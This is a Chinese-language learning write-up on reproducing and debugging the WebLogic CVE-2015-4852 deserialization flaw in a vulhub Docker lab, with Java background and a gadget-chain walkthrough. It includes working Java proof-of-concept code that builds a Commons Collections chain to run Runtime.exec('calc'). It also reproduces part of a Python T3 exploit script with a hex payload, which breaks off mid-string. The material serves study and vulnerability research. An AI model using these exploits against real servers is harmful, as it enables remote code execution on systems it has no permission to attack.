假期,我学习复现并调试分析了WebLogic反序列化漏洞中的CVE-2015-4852。在这个过程中,我学习里一些Java的基础知识,也借鉴了很多网上大牛的分析文章。
一、搭建环境
1.远程docker
起初在Windows7和Ubuntu上搭建JDK7的环境来进行复现,整个软件搭建过程并不难,在这个过程中遇到一个良心博客,
https://blog.csdn.net/beishanyingluo/article/details/98475049
上面不仅提供了搭建的方法,还提供了WebLogic 10.3.6的网盘链接。搭建过程中我认为有几点需要注意:一是尽量Linux下尽量使用英文系统;二是如果多次遇到“请提供用于接收安全更新的电子邮件地址以启动配置管理器”不妨随便提供一个电子邮箱以完成这一步;三是进行配置时选择Development模式可能会好一些,否则从配置文件中可以看到,需要做额外的改动。
软件搭建好后,开始搭建调试环境,需要修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 在上方加入两行debug配置(Windows下为xxx/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.cmd,且下面的第一行需要改为set debugFlag=”true”)
debugFlag="true"
export debugFlag
但在调试过程中遇到了一些问题,
查看AdminServer中的日志,可以看到调用栈,
和下面的内容对比一下,我们会发现这个调用栈已经算是比较完整了,仅仅是最上面的invoke中缺少了entrySet这个元素,导致复现失败。
一时间不知如何解决这个问题,而且自己从头搭建也并非搭建环境的唯一方式,转而选择在Ubuntu上搭建Docker环境进行复现。
下载vulhub-master,经历一些基本操作之后,搭建环境,这里的方法不唯一,也可以不这么复杂。
先切换到合适的目录下,
DockerFile
FROM vulhub/WebLogic
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
docker-compose.yml
version: '2'
services:
WebLogic:
build: .
ports:
- "7001:7001"
- "8453:8453"
接下来执行如下命令以启动容器,
sudo docker-compose build
sudo docker-compose up –d
进入容器命令行
su root
docker exec -it b7ed /bin/bash
若要关闭容器,
sudo docker-compose down
2.本地 Intellij
下载Intellij,
打开idea,创建一个Java web工程(若如此做则需是专业版),从Linux中把 /root/Oracle/Middleware/modules目录拷出来,在idea中File->Project Structure里找到Libraries,添加modules,
接下来配置Remote调试,填写远程IP以及端口(setDomainEnv.sh中默认端口为8453),
通过xxx\Oracle\Middleware\user_projects\domains\win_domain\startWebLogic.sh启动wls,
若能看到类似如上的提示,则说明配置正常,
点击IDEA右上的debug按钮,开启调试,
配合网上的payload打一下,
可以成功断下,说明调试环境正常。
二、相关基础知识
几天的学习过程比较艰难,一方面要理解CVE-2015-4852的成因,一方面还不得不去学习Java的很多基础知识。虽然之前接触过一点PHP反序列化的内容,但学习这个CVE时仍然感到非常吃力。这两者之间虽有较大的相似点,但也有着明显的不同,相同点表现在都是通过一个构造好的链来触发,不同点在于PHP中的POP链更像是Java中链的一个片段,或曰比Java中考虑的要少一些,尤其是Java中寻找合适readObject函数也会花费不小的力气(1.可能是PHP有不少的魔术方法的缘故,2.只是个人理解)。
下面记录一些学习这个CVE过程中记录的比较有价值的基础知识。
1.Apache Commons Collections
Apache Commons Collections是Apache软件基金会的项目,是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。其目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。作为Apache开源项目的重要组件,Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充,让应用程序在开发的过程中,既保证了性能,也能大大简化代码,故而被广泛应用于各种Java应用的开发。
尽管它的初衷是好的,但其中有一些代码不严谨,导致很多引用了这个库的Java应用程序(如WebLogic、Websphere、Jboss、Jenkin等)会产生RCE漏洞。Apache Commons Collections的漏洞最初在2015年11月6日由FoxGlove Security安全团队的@breenmachine 在一篇长博客上阐述,危害面覆盖了大部分的Web中间件,影响十分深远,横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
2.反射机制
一开始看到反射就联想到反弹shell一类的内容,其实与那些并无干系,反射机制是Java的一种特性,可以理解为在运行中(而非编译期间)获取对象类型信息的操作。传统的编程方法要求程序员在编译阶段决定使用的类型,但是在反射的帮助下,我们可以动态获取这些信息,从而编写更加具有可移植性的代码。当然,反射并非某种编程语言的特性,理论上使用任何一种语言都可以实现反射机制,但是像Java语言本身支持反射,那反射的实现就会方便很多。
根据网上的资料,JAVA反射机制的功能可以用如下几句话简要描述:
在运行状态中,判断任意一个对象所属的类;
在运行状态中,构造任意一个类的对象;
在运行状态中,获取或修改任意一个类所具有的成员变量和方法;
在运行状态中,调用任意一个对象的方法;
另外还可生成动态代理和获取类的其他信息。
我们知道在Java中一切都是对象,我们一般所使用的对象都直接或间接继承自Object类。Object类中包含一个方法名叫getClass,利用这个方法就可以获得一个实例的类型类。
需要注意的是,反射机制在运行时只能调用methods或改变fields内容,却无法修改程序结构或变量类型。
3.Java Runtime类
Runtime类封装了运行时的环境,每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。一旦得到了一个当前的Runtime对象的引用,就可以调用Runtime对象的方法去控制Java虚拟机的状态和行为。
一般情况下,不能实例化一个Runtime对象,应用程序也不能创建自己的 Runtime 类实例,但可以通过 getRuntime() 方法获取当前Runtime运行时对象的引用。
Runtime类提供了很多有价值的API,针对CVE-2015-8452用到的主要就是exec(String command) (即在单独的进程中执行指定的字符串命令)。
4.Java 反序列化
序列化就是把对象转换成字节流,便于传输和保存在内存、文件、数据库中;反序列化是序列化的逆过程,即将有结构的字节流还原成对象。
在Java中,java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
与之对应,java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
对象序列化包括如下步骤:
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下:
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。
只有实现了Serializable和Externalizable接口的类且所有属性(用transient关键字修饰的属性除外,不参与序列化过程)都是可序列化的对象才能被序列化。在序列化(反序列化)的时候,ObjectOutputStream(ObjectInputStream)会寻找目标类中的重写的writeObject(readObject)方法,赋值给变量writeObjectMethod(readObjectMethod)。
5.Java 注解
Java 注解(Annotation)又称 Java 标注,是 JDK5.0 引入的一种注释机制。Java 语言中的类、方法、变量、参数和包等都可以被标注。和 Javadoc 不同,Java 标注可以通过反射获取标注内容。在编译器生成类文件时,标注可以被嵌入到字节码中。Java 虚拟机可以保留标注内容,在运行时可以获取到标注内容,也支持自定义 Java 标注。
Java 定义了一套注解,Java7之前有 7 个,3个在java.lang中,4个在 java.lang.annotation 中。
作用于代码的注解是如下3个,
@Override – 检查该方法是否是重写方法。如果发现其父类,或者是引用的接口中并没有该方法时,会报编译错误;
@Deprecated – 标记过时方法。如果使用该方法,会报编译警告;
@SuppressWarnings – 指示编译器去忽略注解中声明的警告。
作用于其他注解的注解(又称元注解)是如下4个,
@Retention – 标识这个注解怎么保存,是只在代码中,还是编入class文件中,或者是在运行时可以通过反射访问;
@Documented – 标记这些注解是否包含在用户文档中;
@Target – 标记这个注解应该是哪种 Java 成员,即指定 Annotation 的类型属性;
@Inherited – 标记这个注解是继承于哪个注解类(默认 注解并没有继承于任何子类)。
6.Java 代理
代理模式是一种设计模式,提供了对目标对象额外的访问方式,即设置一个中间代理,通过代理对象访问目标对象,提供了对目标对象额外的访问方式,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能,以达到增强原对象的功能和简化访问方式。
Java提供了三种代理模式:静态代理、动态代理和cglib代理。
静态代理方式需要代理对象和目标对象实现一样的接口。
优点:可以在不修改目标对象的前提下扩展目标对象的功能;
缺点:①冗余由于代理对象要实现与目标对象一致的接口,会产生过多的代理类。②不易维护。一旦接口增加方法,目标对象与代理对象都要进行修改。
动态代理利用了JDK API,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为JDK代理或接口代理。
静态代理与动态代理的区别主要在于静态代理在编译时就已经实现,编译完成后代理类是一个实际的class文件,而动态代理是在运行时动态生成的,即编译完成后没有实际的class文件,而是在运行时动态生成类字节码,并加载到JVM中。
特点:动态代理对象不需要实现接口,但是要求目标对象必须实现接口,否则不能使用动态代理。
三、漏洞 CVE-2015-4852
1.概述
CVE-2015-4852在10.3.6.0, 12.1.2.0, 12.1.3.0和12.2.1.0版本的WebLogic Server上均可被利用,此漏洞允许攻击者通过T3协议和TCP协议服共用的7001端口进行远程命令执行。
漏洞产生的原因是org.apache.commons.collections组件存在潜在的远程代码执行漏洞,实际上触发漏洞应用的是Java正常的反序列化部分机制,只是在这个Java反序列化中,对于传入的序列化数据没有进行安全性检查,将恶意的对象反序列化,有可能导致RCE。
调用栈:
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
2.原理
在开始之前我们先理一下反序列化漏洞的大体攻击流程:
1.客户端先构造可在服务端执行的payload,并进行多环(或层)的封装,形成可以在服务端使用的exp;
2. exp发送到服务端,进入一个服务端的readObject函数(一般是被重写过的,可能是服务端程序自己重写的,也可能是引入的某个库重写的),在此过程中若是顺利进入某个点即可触发整个链,进而会反序列化恢复我们构造的exp中的对象;
3.如果exp构造正确,则会逆着我们构造、封装的顺序一层层解封(触发);
4.最终在一个可执行任意命令的函数中执行最后的payload,完成RCE。
我们可以推断,完成这些需要三个必要条件:
1. payload:我们要让服务端执行的代码;
2.构造好的反序列化利用链:服务端中触发的构造好的的反序列化利用链,会一层层剥开我们的exp,最后执行payload;
3. 服务端的readObject重写点:在服务端对某个类重写的readObject中,可能会调用我们需要的函数,能够触发整个链的起点。
在网上的资料中,我了解到Commons Collections中有几个常用的类,在ysoserial中多有体现,比如四个Tranformer(ChainedTransformer、InvokerTransformer、ConstantTransformer、InstantiateTransformer),三个Map(lazyMap、TiedMapEntry、HashMap),和五个反序列化利用基类(AnnotationInvocationHandler、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable)。
这里面对于CVE-2015-4852来说,大概的流程是这样的,
用到的是上面提到的类中的一小部分,下面的三个小节中会慢慢讲到。
对我这样一个修为不够且刚接触Java反序列化漏洞的初学者来说,CVE-2015-4852的整个利用链是比较复杂的,我根据个人的理解,将其再分为3个段,构造时按1、2、3的顺序构造,利用时按3、2、1的顺序触发。接下来将对这三段做个简述,至于段内每个对象和类的特性、分段的依据和段与段之间的衔接点等细节会在下面的三个小节中讲到。
(一)段1:
Runtime.getRuntime().exec(“calc”);
Runtime类是这一段的起点;exec(“calc”)是此段的终点,也是整个利用链的终点。
想要触发这一段,只需要在构造好段内对象的前提下,调用ChainedTransformer.transform。
(二)段2:
段2有几种思路,都可行,挑两种介绍一下,
一是以TransformedMap为起点,链为
setValue ()-> checkSetValue() -> valueTransformer.transform(value);
二是以LazyMap为起点,链为
get(Object key)->this.factory.transform(key);
(三)段3:
对应上面的段2,段3也有两种差别不大的走法,
一是以TransformedMap为终点,链为
AnnotationInvocationHandler(以构造好的 TransformedMap为成员变量)->readObj->TransformedMap.setvalue;
二是以LazyMap为终点,链为
AnnotationInvocationHandler.invoke -> LazyMap.get()
2.1 段1
先构造第一段,这一段是和PHP中反序列化相似度比较高的一段,相对而言理解起来比较简单、老套,只是环节比较多,再加上Java语言的一些特性,一开始看理解起来稍有费力。
先介绍这一段的几个主角:Apache Commons Collections中的Transformer类。这一众类的功能就是将一个对象转换为另外一个对象,我们这里会用到的有:
invokeTransformer(通过反射,返回一个对象),
ChainedTransformer(把多个transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换),
ConstantTransformer(把一个对象转化为常量,并返回)。
首先是invokeTransformer类和transform方法,
可以看到,transform方法会通过反射机制调用input的method函数,调用transform需要的参数只有一个input,其余的参数均可控,我们可以在构造InvokerTransform时写好。
我们前面提到,要想调用exec函数,需要当前进程的Runtime对象,我们无法直接得到,只能通过getRuntime()方法获取当前Runtime对象的引用,再调用invoke()和exec()函数。
这里写个demo看下,
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerTest
{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}); InvokerTransformer.transform(Runtime.getRuntime());
}
}
这里只是个demo,我们可以直接通过Runtime类调用getRuntime函数,进而执行Runtime对象的exec(“calc”)函数。但实际上,CC里没有重写InvokerTransformer.readObject(),更不要说内部InvokerTransformer.transform了,所以根据我们前面所说,这样的payload必须经过封装改写才能利用。想要找到InvokerTransformer在利用链中的上一级,就要找到InvokerTransformer. transform可能的调用点。
这就用到ChainedTransformer了,
ChainedTransformer以一个Transformer数组为成员变量,并在ChainedTransformer.transform中调用了每个Transformer的transform函数。
需要注意的一点是,ChainedTransformer.transform会对最开始传入的参数object进行迭代,这样对我们的链的构造比较有利,因为Runtime.getRuntime().exec(“calc”)本身也是一个类似的过程。
但其实有个别的问题,这里先举个例子,
A a = new A();
if(a.getClass()==A.class)
System.out.println("equal");
else
System.out.println("unequal");
这段代码会打印出equal。对于getClass()而言,当input是一个类的实例对象时,获取到的是这个类,当input是一个类时,获取到的是java.lang.Class。我们想在段1实现的是如下目的:Runtime.getRuntime().exec(“calc”)。
但InvokerTransformer中的情况是这样的,
也就是说,我们第一环的Runtime类无法直接通过InvokerTransformer获取。因为Runtime对象不能像普通对象一样直接声明,我们不能像示例里那样runtime.getClass,否则我们就直接runtime.exec(“calc”)就好了。
为了解决这个问题,就用到了性质很好的ConstantTransformer,
无论参数是什么,这个Transformer的transform函数的返回值都是this.iConstant,我们可以用一个以Runtime类为iConstant的ConstantTransformer为段1第一环,接下来再去调用InvokerTransformer的transform函数调用getRuntime()得到当前Runtime的引用,再调用exec()。
走到现在,或者说找到ChainedTransformer的同时,我们应该有意识的去找ChainedTransformer.transform的调用点了。到现在为止,我们构造好了带有payload的第一段,对于这一段而言,由于ConstantTransformer的存在,我们需要的仅是对我们构造好的ChainedTransformer的transform函数的一处调用(无论参数是什么,只需要一处调用,将这分成了第一段)。
2.2 段2
这一段的终点即是对上一段中构造好的ChainedTransformer.transform的调用点,起点要尽量向某个类的重写的readObject函数逼近。
这一段有两种走法,一是走TransformedMap,二是走LazyMap,两种走法思路相同,走的路线不同。
(一)TransformedMap
先说TransformedMap,
TransformedMap类用来对Map进行某种变换,只要以Map类型调用decorate()函数,传入key和value的变换函数KeyTransformer或ValueTransformer,即可生成相应的TransformedMap。其成员变量和decorate()函数如下,
我们可以控制其中的valueTransformer参数为构造好的ChainedTransformer。
TransformedMap父类AbstractInputCheckedMapDecorator类中有对setValue的重写,每当调用setValue方法时,该方法将会被调用。
跟进parent.checkSetValue,此处会调用TranformerMap.valueTransformer.transform方法,
2.1的末尾我们讲了,此处无论此处参数value的值是什么,只要valueTransformer被控制为构造好的ChainedTransformer,这里调用transform即可触发上面的payload。
理一下,Map中的任意项的Key或者Value被修改(此处使用setValue函数修改map.value),相应的Transformer(这里为valueTransformer)的transform方法就在checkSetValue中会被调用。
这一段流程即为:先通过TransformedMap.decorate()方法,获得一个TransformedMap的实例,再通过TransformedMap.setValue(无论参数) -> checkSetValue -> valueTransformer.transform(value)即可触发。
写个demo验证一下,
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class payloadTest {
public static void main(String[] args) throws IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//Runtime.getRuntime().exec("calc");
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();
inMap.put("key", "value");//随便一个Map即可
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成TransformedMap
for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
Map.Entry entry = (Map.Entry) iterator.next();
entry.setValue("1");//无论参数为何值
}
}
}
直接run会可能报错,报错内容:
Error running ‘ServiceStarter’: Command line is too long. Shorten command line for ServiceStarter or also for Application default configuration.
大多数操作系统都有最大的命令行限制,当它超过时,IDEA将无法运行您的应用程序。 当命令行长于32768个字符时,IDEA建议您切换到动态类路径。长类路径被写入文件,然后由应用程序启动器读取并通过系统类加载器加载。
在下面的console里看下,
由于有路径的原因,命令确实比较长,但也没长到几万,不知为何发生。
解法:
修改项目下 .idea\workspace.xml,找到标签 <component name=”PropertiesComponent”> , 在标签里加一行 <property name=”dynamic.classpath” value=”true” />
修改完成后,run,
成功执行。
如果这样走,我们需要找的即是对TransformedMap.setvalue的一处调用(也是无论参数为何值,将这分成第二段),寻找调用点的部分将在2.3中实现。
(二)LazyMap
另一条路线走LazyMap,基本内容如下,
本着找transform调用点的目的(可用grep -R InvokerTransformer 之类的命令模糊地查找下),我们发现在get()方法中有transform()方法的调用点。
我们看到,这里的Transformer factory是可以被decorate()修改的。
我们只要在decorate时,将构造好的ChainedTransformer作为factory,再调用get函数(稍微留意参数)即可触发。那么现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法。
提一下,Ysoserial的CommonsCollections1采用的就是这种思路。
2.3 段3
无论是上面的TransformedMap.setValue()还是LazyMap.get()方法,我们在demo里都是手动调用的。我们在实际的利用过程中,我们能找到的一般只有服务端的反序列化点,显然我们还是需要向readObject靠拢,找到服务端对某个类重写的readObject函数,能够通过几次或几层的调用触发我们编好的两段链。
这里我们找到的类就是AnnotationInvocationHandler,该类是Java运行库中的一个类,包含一个Map对象属性,其readObject方法可以修改自身Map属性的操作。
承接着2.2,第三段也有两种走法,思路上差不多,只是走的路线有些差异。
(一)TransformedMap
先看一下基本信息,
其中的memberValues是一个Map类型,可以填上我们的TransformedMap,
接下来就是最关键的readObject函数,
我们可以看到,这里有对var5.setValue,上面我们提到,无论setValue的参数为何值,只要调用setValue均可触发段2,进而触发段1 实现利用。
对于这个readObject,想要调用setValue有几个条件:1.memberValues构造为transformedMap;2.var7 != null;3.var7不是var8的实例,var8不是异常类型。
写个demo利用一下,
import java.io.;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonsCollectionPayload {
public static void main(String[] args) throws Exception {
//Runtime.getRuntime().exec("calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//只需要有一处调用 chainedTransformer
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(instance);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 模拟触发代码执行
Object newObj = ois.readObject();
ois.close();
}
}
没有弹出计算器,
疑惑,于是调试一下,
可以看到,var7==null,所以无法进入第一个if。其余的条件应该比较好满足,所以这里要解决就是var7的值的问题。
在先知的一篇文章(https://xz.aliyun.com/t/7031)里看到了问题的答案,果然是对Java的了解和理解不够深入。
问题出在innerMap.put(“key”, “value”);上,我们分析一下var7的产生过程,看看为什么是null,
我们看var2的值,
可以看到,var3 = var2.menberTypes(),所以等于一个键值对”value” -> {Class@606} “class java.lang.annotation.RetentionPolicy”,
var5就是我们一开始的Map(innerMap.put(“key”, “value”);),所以var6为var5.getKey(),即”key”,这样一来,var3.get(“key”)就是null,因为var3的键为”value”。
这个问题产生的原因是:AnnotationType.getInstance(this.type)是一个和注解有关的函数,具体的细节这里也不过多解释,和这里的利用相关的一点就是,var3是一个注解元素的键值对,键为value,值为Ljava.lang.annotation.RetentionPolicy。
想要修改使exp生效也很简单,将原句改为innerMap.put(“value”, “value”);即可。
(二)LazyMap
根据ysoserial,调用链如图,
这里使用了动态代理,
前面提到,Ysoserial的CommonsCollections1采用的就是这种思路,故这一段的复现与调试放在下面的内容中
3.复现
网上流传的exp基本上都拥有相同的来源:
https://github.com/breenmachine/JavaUnserializeExploits
可能最原始的版本是这样的,
#!/usr/bin/python
import socket
import struct
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x3